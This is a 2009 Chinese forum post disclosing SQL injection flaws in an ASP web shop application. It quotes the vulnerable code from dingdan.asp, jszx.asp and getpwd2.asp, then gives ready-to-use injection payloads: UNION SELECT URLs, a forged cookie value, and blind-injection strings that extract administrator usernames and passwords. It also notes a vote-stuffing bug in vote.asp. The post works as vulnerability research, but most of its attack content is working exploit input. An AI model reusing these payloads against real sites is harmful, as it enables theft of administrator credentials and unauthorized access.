|
2#
楼主 |
发表于 2009-4-18 16:06:34
|
只看该作者
漏洞三:注入漏洞
1.dingdan.asp文件,出现问题代码如下:
<%dim dingdan
dingdan=request.QueryString("dan")
set rs=server.CreateObject("adodb.recordset")
rs.open "select shop_books.bookid,shop_books.shjiaid,shop_books.bookname,shop_books.shichangjia,shop_books.huiyuanjia,shop_action.actiondate,shop_action.shousex,shop_action.danjia,shop_action.feiyong,shop_action.fapiao,shop_action.userzhenshiname,shop_action.shouhuoname,shop_action.dingdan,shop_action.youbian,shop_action.liuyan,shop_action.zhifufangshi,shop_action.songhuofangshi,shop_action.zhuangtai,shop_action.zonger,shop_action.useremail,shop_action.usertel,shop_action.shouhuodizhi,shop_action.bookcount from shop_books inner join shop_action on shop_books.bookid=shop_action.bookid where shop_action.username='"&request.Cookies("BOB")("username")&"' and dingdan='"&dingdan&"' ",conn,1,1
我们先来测试一下,首先我们先订购一个物品,然后查看我们的订单,然后提交如下测试语句
http://200.200.200.3/bobo/dingdan.asp?dan=200932514514'%20and%20'1'='1和
http://200.200.200.3/bobo/dingdan.asp?dan=200932514514'%20and%20'1'='2
我们可以看到两次结果是不一样的,如下图所示
现在我们已经确认注入漏洞存在了,给出注入代码:
http://200.200.200.110/bobo/dingdan.asp?dan=200932593048'%20and%201=2%20union%20select%201,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,password%20from%20admin%20where%20'1'='1
这样就能够注出管理员的用户名和密码了,注入结果如图:
2.jszx.asp文件,有问题代码如下:
<%
if request.Cookies("BOB")("username")<>"" then
username=trim(request.Cookies("BOB")("username"))
else
username=request.Cookies("BOB")("dingdanusername")
end if%>
--------------------------省略代码
action=request("action")
set rs=server.CreateObject("adodb.recordset")
rs.open "select count(*) as rec_count from shop_action where username='"&username&"' and zhuangtai=7",conn,1,1
if rs("rec_count")=0 then
response.write "<script language=javascript>alert('对不起,您购物车没有商品,请在购物后,再去“结算中心”!');window.close();</script>"
response.End
我们构造如下代码,将BOB的的cookie值改为:
reglx=1®lx%3D=1&jiaoyijine=0&shjianame=&jifen=0&username=flaw0r'%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20admin%20where%20'1'='1
3. getpwd2.asp文件,有问题代码如下:
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>
我们测试一下,点击找回密码,在用户名处输入:flaw0r' and '1'='1 返回正常页面
返回再输入flaw0r' and '1'='2,这时就返回错误提示了
确定可以注入,可构造如下语句:
flaw0r' and exists(select * from admin) and '1'='1
flaw0r' and exists(select username from admin) and '1'='1
flaw0r' and exists(select passwd from admin) and '1'='1
flaw0r' and(select top 1 asc(mid(username,1,1))from admin)>0 and '1'='1
flaw0r' and(select top 1 mid(passwd,1,1) from admin) between 'a' and 'z' and '1'='1
--------------省略
----------------------------------------------------------------------------------------------------------------------
上面说的都是比较严重的问题,下面说下小的BUG,投票文件vote.asp,问题代码如下:
<%dim options,total,sql,i,answer
if request.QueryString("stype")="" then
if Request.ServerVariables("REMOTE_ADDR")=request.cookies("IPAddress") then
response.write"<SCRIPT language=JavaScript>alert('感谢您的支持,您已经投过票了,请勿重复投票,谢谢!');"
response.write"javascript:window.close();</SCRIPT>"
else
options=request.form("options")
response.cookies("IPAddress")=Request.ServerVariables("REMOTE_ADDR")
conn.execute("update toupiao set answer"&options&"=answer"&options&"+1 where IsChecked=1")
end if
end if
%>
可以刷票,但实在是无聊!!!!
图我就不发了
PS:最近一直在找工作,发出的简历大多石沉大海,感叹应届毕业生怎么这么难找工作啊!
[ 本帖最后由 flaw0r 于 2009-4-18 16:09 编辑 ] |
|